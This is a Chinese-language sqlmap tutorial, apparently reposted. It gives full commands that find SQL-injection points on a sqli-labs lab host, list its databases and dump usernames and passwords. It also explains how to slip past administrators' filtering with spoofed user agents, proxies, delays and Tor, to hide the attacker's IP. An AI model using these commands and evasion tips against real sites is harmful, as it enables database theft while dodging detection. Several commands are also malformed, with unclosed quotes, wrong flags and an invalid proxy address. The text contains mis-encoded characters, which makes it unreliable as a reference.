一、sqlmap介紹
1.1 sqlmap支持的5中注入類型
1.2 sqlmap目錄介紹
1.3 sqlmap常用參數
sqlmap是一款免費開源的sql自動化注入工具
官網下載地址:http://sqlmap.org/
1.1 sqlmap支持的5中注入類型
1.布爾盲注檢測
2.時間盲注檢測
3.錯誤注入檢測
4.union注入檢測
5.堆疊查詢檢測
1.2 sqlmap目錄介紹
extra ————額外功能。如:發出聲響、運行cmd、安全執行、shellcode等
lib ————代碼庫 包含了五種注入類型的請求參數、提權操作等
plugins ————插件
shell ————包含了注入成功後的9中shell遠程連接命令執行和數據庫管理
txt ————存放的字典。如:用戶瀏覽器的代理、表、列、關鍵詞等
sqlmap.py ————主程序
sqlmapapi.py ————sqlmap的api文件。可以將sqlmap集成到其他平臺
1.3 sqlmap常用參數
–version ————#查看版本信息
-h ————#查看常用功能參數
-hh ————#查看所有參數
-v ————#顯示詳細信息,一共7級,從0-6,默認是1,數字越大,越詳細
Target —————#制定目標
-d —————#直接連接數據庫偵聽端口,類似於把自己當一個客戶端來連接
-u —————#指定url掃描,但url必須存在查詢參數。如:xxx.php?id=1
-l —————#指定logfile文件進行掃描,可以結合bp把訪問的機率爆出成一個log文件,sqlmap直接加載log文件進行掃描
-m —————#掃描多個url,把多個url保存成一個文本文件,-m加載掃描
-r —————#把http的請求頭、body保存成一個文件,同一交個sqlmap。sqlmap對裏面的內容進行拼接請求體
–timeout —————#指定超時時間
–retries —————#指定重試次數
–skip-urlencode —————#不進行url加密
二、sqlmap常用探測方式
2.1 探測單個目標
2.2 探測多個目標
2.3 從文件加載http請求進行探測
2.4 從burpsuite日誌進行探測
2.5 指定探測類型
2.6 枚舉數據庫信息
2.1 探測單個目標
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1"
參數指南:
-u ————指定url
2.2 探測多個目標
sqlmap -m urls.txt --dbs --users --batch
參數指南:
-m ———— 指定多個編寫了多個url的文件名
-dbs ———— 查詢數據庫
-users ———— 查詢用戶
–batch ———— 不使用交互,一切使用默認配置
- 將多個url編寫到文件裏
- 執行
sqlmap -m urls.txt --dbs --users
(要查詢什麼內容就指定什麼參數)
2.3 從文件加載http請求進行探測
-r ———— 指定http請求文件
- 瀏覽器打開http://192.168.0.63/sqli-labs/Less-10/,並輸入賬號和密碼(admin,admin)提交。
- 打開bp的代理攔截請求
- 回到瀏覽器刷新頁面(抓取登陸以後存在的cookie)
- vim cookie.txt 把http頭信息粘貼進去,並在cookie後面添加
*
保存退出
- 執行命令
sqlmap -r cookie.txt --level 3 --batch --dbs
2.4 從burpsuite日誌進行探測
-l ———— 指定日誌目錄掃描
- 開啓bp請求日誌記錄
- 然後利用bp多攔截幾個網頁,log-bp.txt裏就有了日誌
- 指定日誌文件進行注入
sqlmap -l log-bp.txt --dbs --level 3 --batch
2.5 指定探測類型
–technique=B 指定sql注入類型。sqlmap中的注入類型有BEUSTQ。默認是B。
- B:Boolean布爾盲注
- T:Time時間盲注
- E:Error錯誤注入
- U:Union聯合注入
- S:多語句注入
- Q:內聯注入
例:sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --technique=B
2.6 枚舉數據庫信息
--dbs ———— 爆庫
--tables ———— 爆表
--colunms ———— 爆字段
--dump ———— 爆數據
-D ———— 指定數據庫
-T ———— 指定表
-C ———— 指定字段
1.判斷注入點
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch
2. 爆庫
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch --dbs
3. 爆表
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security --tables
4. 爆字段
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users --columns
5. 爆數據
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -C "username,password" --dump
或者
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1 --batch -D security -T users -columns --dump
三、sqlmap請求參數
3.1 默認的請求參數
- 打開wireshark關閉混雜模式進行抓包(只接收自己的包),過濾器:ip.addr==192.168.0.63
- 執行探測任務
root@xuegod53:~#sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --batch
- 打開wireshark停止抓包,查看抓取數據。
發現User-agent:sqlmap/1.3#stable(http://sqlmap.org)\rin 上面有sqlmap的標記,網絡管理員可以通過這些特徵對我們的訪問進行過濾。
user-agent是什麼呢?
user-agent中文名是用戶代理,檢測UA,是一個特殊字符串頭,有了他服務器才能識別客戶端的操作系統及版本、CPU類型、瀏覽器版本、語言、插件等信息。
3.2 修改默認請求參數
爲了不讓網管對我們的訪問進行過濾,我們需要修改請求參數。
方法一: 手動指定請求參數
利用 --user-agent=" "
來手動指定請求參數
root@xuegod53:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch
方法二:自動指定請求參數
利用 --random-agent
來隨機指定請求參數
root@xuegod53:~# sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --random-agent --batch
測試:
這樣就沒有ok了
3.3 使用代理進行探測
在sqlmap探測的時候怎麼才能不暴露我們的真是ip呢?這個時候就要使用代理在進行探測了。
--proxy="代理地址" ———— 單個代理地址
--proxy-file= 代理地址文件路徑 ———— 多個代理地址
--delay ———— 指定間隔延時時間。防止ip被屏蔽
免費的代理地址 http://www.kuaidaili.com/free/inha/
單個地址代理
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy="127.78.79.150.8081" --delay 1 --random-agent --batch
注: --delay 1
———— 表示探測延時1s,防止過快的探測速度導致網站屏蔽當前ip地址。
多個地址代理
創建代理文件proxy.txt,我這裏創在root下
sqlmap -u "http://192.168.0.63/sqli-labs/Less-1/?id=1" --proxy-file= /root/proxy.txt --delay 1 --random-agent --batch
tor匿名代理
使用以上地址代理,雖然能儘量避免服務器對我們的封鎖,但不能完全匿名。使用tor就可以完全匿名。
具體步驟如下:
需要先使用代理訪問 tor 網絡然後在 sqlmap 中配置 tor 代理。
配置方法:--tor --tor-type 類型一般選擇 socks5,然後在 sqlmap 上使用 --check-tor 選項迚行
檢查
3.4 忽略未驗證錯誤
參數:
--ignore-401
———— 忽略未驗證錯誤
原因:
很多存在http認證的網站會提示我們輸入用戶名密碼,如果沒輸就會返回401錯誤,所以要忽略未驗證錯誤。
3.5 sqlmap安全模式
如果執行了一定數量的丌成功請求,則 Web 應用程序戒其間的檢查技術會破壞會話。這可能發生在
sqlmap 的檢測階段戒利用任何盲 SQL 注入類型時。原因是 SQL 有效負載不一定返回輸出,因此可能被
應用程序會話管理戒檢查技術檢測到從而破壞會話。
–safe-url #測試期間經常訪問的 URL 地址。
–safe-post #HTTP POST 數據發送到給定的安全 URL 地址。
–safe-req #從文件加載並使用安全的 HTTP 請求。
–safe-freq #在兩次訪問給定安全位置之間測試請求。
sqlmap 將訪問每個預定丿數量的請求,而丌對 safe url 執行任何類型的注入。
3.6 關閉URL編碼
參數:
--skip-urlencode
———— 這種情況用於後端服務器不遵循 RFC 標準(URL 編碼的標準)並要求數
據以非編碼方式迚行傳輸。
四、sqlmap常用參數優化
-
配置持久化連接
參數:
--keep-alive
-
設置空連接
參數:
--null-connection
———— 該參數用於head方式發生http請求時,設置空連接可以不接受服務器返回來body信息,進而減少了數據包大小,提高了盲注探測性能。 -
配置多線程
參數:
--thread
———— 默認線程爲3,最大爲10.目標服務器不存在訪問限制且性能較好的情況下可以多設幾個線程。 -
持久化+空連接+多線程
參數:
-o
———— 該參數綁定率持久化連接、空連接、多線程這三個參數,線程默認數是3
5.預測輸出算法
參數:
--predict-output
———— 該參數使用推理算法,用於對檢索到的值的字符迚行順序統計預測,根據
sqlmap 工作目錄下的 txt/common-outputs.txt 結合當前枚丼到的數據給出的預測,從而提升探測效
率,當然如果有遇到常見的名稱也可以手勱添加到 txt/common-outputs.txt 文件中
請注意,此開關不–threads 開關不兼容。
知識來源於網絡。